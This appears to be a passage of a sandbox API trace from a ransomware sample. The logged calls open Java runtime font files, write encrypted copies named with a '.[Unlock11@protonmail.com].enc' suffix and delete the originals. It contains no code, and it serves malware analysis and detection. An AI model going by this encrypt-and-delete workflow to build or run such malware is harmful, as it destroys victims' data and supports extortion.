RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.651] GetLastError () returned 0x0 [0132.651] GetLastError () returned 0x0 [0132.651] GetLastError () returned 0x0 [0132.651] GetLastError () returned 0x0 [0132.651] GetCurrentThreadId () returned 0x9b0 [0132.651] GetLastError () returned 0x0 [0132.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0132.651] GetCurrentThreadId () returned 0x9b0 [0132.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.652] GetLastError () returned 0x0 [0132.652] GetLastError () returned 0x0 [0132.652] GetLastError () returned 0x0 [0132.652] GetLastError () returned 0x0 [0132.652] GetCurrentThreadId () returned 0x9b0 [0132.652] GetLastError () returned 0x0 [0132.652] GetLastError () returned 0x0 [0132.652] GetLastError () returned 0x0 [0132.652] GetLastError () returned 0x0 [0132.653] GetLastError () returned 0x0 [0132.653] GetCurrentThreadId () returned 0x9b0 [0132.653] GetLastError () returned 0x0 [0132.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0132.653] GetLastError () returned 0x0 [0132.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0132.653] GetLastError () returned 0x0 [0132.653] GetLastError () returned 0x0 [0132.653] GetCurrentThreadId () returned 0x9b0 [0132.654] GetCurrentThreadId () returned 0x9b0 [0132.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a928 [0132.654] GetCurrentThreadId () returned 0x9b0 [0132.654] GetCurrentThreadId () returned 0x9b0 [0132.654] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588)) returned 1 [0132.654] GetCurrentThreadId () returned 0x9b0 [0132.654] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be1c | out: pbBuffer=0x366be1c) returned 1 [0132.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0132.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0132.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0132.655] GetCurrentThreadId () returned 0x9b0 [0132.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.655] GetCurrentThreadId () returned 0x9b0 [0132.655] GetCurrentThreadId () returned 0x9b0 [0132.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.655] GetCurrentThreadId () returned 0x9b0 [0132.655] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.656] GetFileType (hFile=0x39c) returned 0x1 [0132.656] GetCurrentThreadId () returned 0x9b0 [0132.656] GetFileType (hFile=0x39c) returned 0x1 [0132.656] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.656] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.656] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.656] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.656] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.656] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.657] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.657] GetLastError () returned 0x0 [0132.657] GetCurrentThreadId () returned 0x9b0 [0132.657] GetLastError () returned 0x0 [0132.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0132.657] GetLastError () returned 0x0 [0132.657] GetLastError () returned 0x0 [0132.657] GetLastError () returned 0x0 [0132.657] GetLastError () returned 0x0 [0132.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6498 [0132.658] GetLastError () returned 0x0 [0132.658] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.658] GetFileType (hFile=0x3ac) returned 0x1 [0132.658] GetLastError () returned 0x0 [0132.658] GetCurrentThreadId () returned 0x9b0 [0132.658] GetLastError () returned 0x0 [0132.659] GetFileType (hFile=0x3ac) returned 0x1 [0132.659] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.659] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.659] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.659] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.659] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.659] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.659] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.659] GetLastError () returned 0x0 [0132.659] GetCurrentThreadId () returned 0x9b0 [0132.659] GetLastError () returned 0x0 [0132.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6498 | out: hHeap=0x2ad0000) returned 1 [0132.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0132.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.660] GetLastError () returned 0x0 [0132.660] GetLastError () returned 0x0 [0132.660] GetCurrentThreadId () returned 0x9b0 [0132.660] GetLastError () returned 0x0 [0132.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.660] GetLastError () returned 0x0 [0132.661] GetLastError () returned 0x0 [0132.661] GetCurrentThreadId () returned 0x9b0 [0132.661] GetLastError () returned 0x0 [0132.661] GetCurrentThreadId () returned 0x9b0 [0132.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.684] GetLastError () returned 0x0 [0132.686] GetLastError () returned 0x0 [0132.686] GetCurrentThreadId () returned 0x9b0 [0132.686] GetLastError () returned 0x0 [0132.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63b8 | out: hHeap=0x2ad0000) returned 1 [0132.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.687] GetLastError () returned 0x0 [0132.687] GetLastError () returned 0x0 [0132.687] GetLastError () returned 0x0 [0132.687] GetLastError () returned 0x0 [0132.687] GetCurrentThreadId () returned 0x9b0 [0132.687] GetLastError () returned 0x0 [0132.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.688] GetLastError () returned 0x0 [0132.690] GetLastError () returned 0x0 [0132.690] GetCurrentThreadId () returned 0x9b0 [0132.690] GetLastError () returned 0x0 [0132.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.690] GetLastError () returned 0x0 [0132.690] GetLastError () returned 0x0 [0132.690] GetCurrentThreadId () returned 0x9b0 [0132.691] GetLastError () returned 0x0 [0132.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.691] GetCurrentThreadId () returned 0x9b0 [0132.691] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0x25a5) returned 0x37bf790 [0132.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6578 [0132.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6568 | out: hHeap=0x2ad0000) returned 1 [0132.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x25a8) returned 0x35c0a00 [0132.691] GetLastError () returned 0x0 [0132.691] GetLastError () returned 0x0 [0132.692] GetLastError () returned 0x0 [0132.692] GetLastError () returned 0x0 [0132.692] GetCurrentThreadId () returned 0x9b0 [0132.692] GetLastError () returned 0x0 [0132.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0132.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.693] GetLastError () returned 0x0 [0132.693] GetLastError () returned 0x0 [0132.693] GetCurrentThreadId () returned 0x9b0 [0132.693] GetLastError () returned 0x0 [0132.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.693] GetLastError () returned 0x0 [0132.693] GetLastError () returned 0x0 [0132.694] GetCurrentThreadId () returned 0x9b0 [0132.694] GetLastError () returned 0x0 [0132.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.694] GetLastError () returned 0x0 [0132.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.694] CloseHandle (hObject=0x3ac) returned 1 [0132.694] GetLastError () returned 0x0 [0132.695] GetCurrentThreadId () returned 0x9b0 [0132.695] GetLastError () returned 0x0 [0132.695] GetLastError () returned 0x0 [0132.695] CloseHandle (hObject=0x39c) returned 1 [0132.695] GetLastError () returned 0x0 [0132.695] GetCurrentThreadId () returned 0x9b0 [0132.695] GetLastError () returned 0x0 [0132.695] GetCurrentThreadId () returned 0x9b0 [0132.695] GetLastError () returned 0x0 [0132.695] GetLastError () returned 0x0 [0132.696] GetLastError () returned 0x0 [0132.696] GetLastError () returned 0x0 [0132.696] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0132.697] GetLastError () returned 0x0 [0132.697] GetCurrentThreadId () returned 0x9b0 [0132.697] GetLastError () returned 0x0 [0132.697] GetLastError () returned 0x0 [0132.698] GetLastError () returned 0x0 [0132.698] GetLastError () returned 0x0 [0132.698] GetLastError () returned 0x0 [0132.698] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf", lpFilePart=0x9bada4*="LucidaBrightDemiItalic.ttf") returned 0x47 [0132.698] GetCurrentThreadId () returned 0x9b0 [0132.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.699] GetLastError () returned 0x0 [0132.699] GetLastError () returned 0x0 [0132.699] GetLastError () returned 0x0 [0132.699] GetLastError () returned 0x0 [0132.699] GetCurrentThreadId () returned 0x9b0 [0132.699] GetLastError () returned 0x0 [0132.699] GetCurrentThreadId () returned 0x9b0 [0132.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0132.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.699] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetCurrentThreadId () returned 0x9b0 [0132.700] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetLastError () returned 0x0 [0132.700] GetCurrentThreadId () returned 0x9b0 [0132.701] GetLastError () returned 0x0 [0132.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0132.701] GetLastError () returned 0x0 [0132.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0132.701] GetLastError () returned 0x0 [0132.701] GetLastError () returned 0x0 [0132.701] GetLastError () returned 0x0 [0132.701] GetCurrentThreadId () returned 0x9b0 [0132.701] GetLastError () returned 0x0 [0132.701] GetCurrentThreadId () returned 0x9b0 [0132.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a3e8 [0132.702] GetLastError () returned 0x0 [0132.702] GetLastError () returned 0x0 [0132.702] GetLastError () returned 0x0 [0132.702] GetLastError () returned 0x0 [0132.702] GetCurrentThreadId () returned 0x9b0 [0132.702] GetLastError () returned 0x0 [0132.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0132.702] GetLastError () returned 0x0 [0132.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0132.703] GetLastError () returned 0x0 [0132.703] GetLastError () returned 0x0 [0132.703] GetLastError () returned 0x0 [0132.703] GetCurrentThreadId () returned 0x9b0 [0132.703] GetLastError () returned 0x0 [0132.703] GetLastError () returned 0x0 [0132.703] GetLastError () returned 0x0 [0132.703] GetLastError () returned 0x0 [0132.703] GetLastError () returned 0x0 [0132.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.704] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574)) returned 1 [0132.704] GetLastError () returned 0x0 [0132.704] GetCurrentThreadId () returned 0x9b0 [0132.704] GetLastError () returned 0x0 [0132.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0132.704] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bdcc | out: pbBuffer=0x366bdcc) returned 1 [0132.704] GetCurrentThreadId () returned 0x9b0 [0132.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0132.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0132.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0132.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0132.705] GetLastError () returned 0x0 [0132.705] GetLastError () returned 0x0 [0132.705] GetLastError () returned 0x0 [0132.705] GetLastError () returned 0x0 [0132.705] GetCurrentThreadId () returned 0x9b0 [0132.705] GetLastError () returned 0x0 [0132.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0132.706] GetCurrentThreadId () returned 0x9b0 [0132.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc00 [0132.706] GetLastError () returned 0x0 [0132.706] GetLastError () returned 0x0 [0132.706] GetLastError () returned 0x0 [0132.706] GetLastError () returned 0x0 [0132.706] GetCurrentThreadId () returned 0x9b0 [0132.706] GetLastError () returned 0x0 [0132.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc00 | out: hHeap=0x2ad0000) returned 1 [0132.707] GetCurrentThreadId () returned 0x9b0 [0132.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6498 [0132.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3028 | out: hHeap=0x2ad0000) returned 1 [0132.707] GetLastError () returned 0x0 [0132.707] GetLastError () returned 0x0 [0132.707] GetLastError () returned 0x0 [0132.707] GetLastError () returned 0x0 [0132.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6528 [0132.707] GetLastError () returned 0x0 [0132.708] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.708] GetFileType (hFile=0x39c) returned 0x1 [0132.708] GetLastError () returned 0x0 [0132.708] GetCurrentThreadId () returned 0x9b0 [0132.708] GetLastError () returned 0x0 [0132.708] GetFileType (hFile=0x39c) returned 0x1 [0132.708] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.709] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.709] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.709] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.709] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.709] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.709] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.709] GetLastError () returned 0x0 [0132.709] GetCurrentThreadId () returned 0x9b0 [0132.709] GetLastError () returned 0x0 [0132.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6528 | out: hHeap=0x2ad0000) returned 1 [0132.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8a0 | out: hHeap=0x2ad0000) returned 1 [0132.710] GetLastError () returned 0x0 [0132.710] GetLastError () returned 0x0 [0132.710] GetLastError () returned 0x0 [0132.710] GetLastError () returned 0x0 [0132.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64b8 [0132.710] GetLastError () returned 0x0 [0132.710] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.711] GetFileType (hFile=0x3ac) returned 0x1 [0132.711] GetLastError () returned 0x0 [0132.711] GetCurrentThreadId () returned 0x9b0 [0132.711] GetLastError () returned 0x0 [0132.711] GetFileType (hFile=0x3ac) returned 0x1 [0132.711] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.711] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.711] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.712] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.712] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.712] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.712] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.712] GetLastError () returned 0x0 [0132.712] GetCurrentThreadId () returned 0x9b0 [0132.712] GetLastError () returned 0x0 [0132.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0132.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.713] GetLastError () returned 0x0 [0132.713] GetLastError () returned 0x0 [0132.713] GetCurrentThreadId () returned 0x9b0 [0132.713] GetLastError () returned 0x0 [0132.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.713] GetLastError () returned 0x0 [0132.713] GetLastError () returned 0x0 [0132.713] GetCurrentThreadId () returned 0x9b0 [0132.713] GetLastError () returned 0x0 [0132.713] GetLastError () returned 0x0 [0132.715] GetLastError () returned 0x0 [0132.715] GetCurrentThreadId () returned 0x9b0 [0132.715] GetLastError () returned 0x0 [0132.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6498 | out: hHeap=0x2ad0000) returned 1 [0132.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.716] GetCurrentThreadId () returned 0x9b0 [0132.716] GetLastError () returned 0x0 [0132.716] GetLastError () returned 0x0 [0132.716] GetLastError () returned 0x0 [0132.716] GetLastError () returned 0x0 [0132.716] GetCurrentThreadId () returned 0x9b0 [0132.716] GetLastError () returned 0x0 [0132.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0132.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.717] GetLastError () returned 0x0 [0132.718] GetLastError () returned 0x0 [0132.719] GetCurrentThreadId () returned 0x9b0 [0132.719] GetLastError () returned 0x0 [0132.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.719] GetLastError () returned 0x0 [0132.728] GetLastError () returned 0x0 [0132.728] GetCurrentThreadId () returned 0x9b0 [0132.728] GetLastError () returned 0x0 [0132.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.728] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0x2595) returned 0x37bf790 [0132.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6418 [0132.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64c8 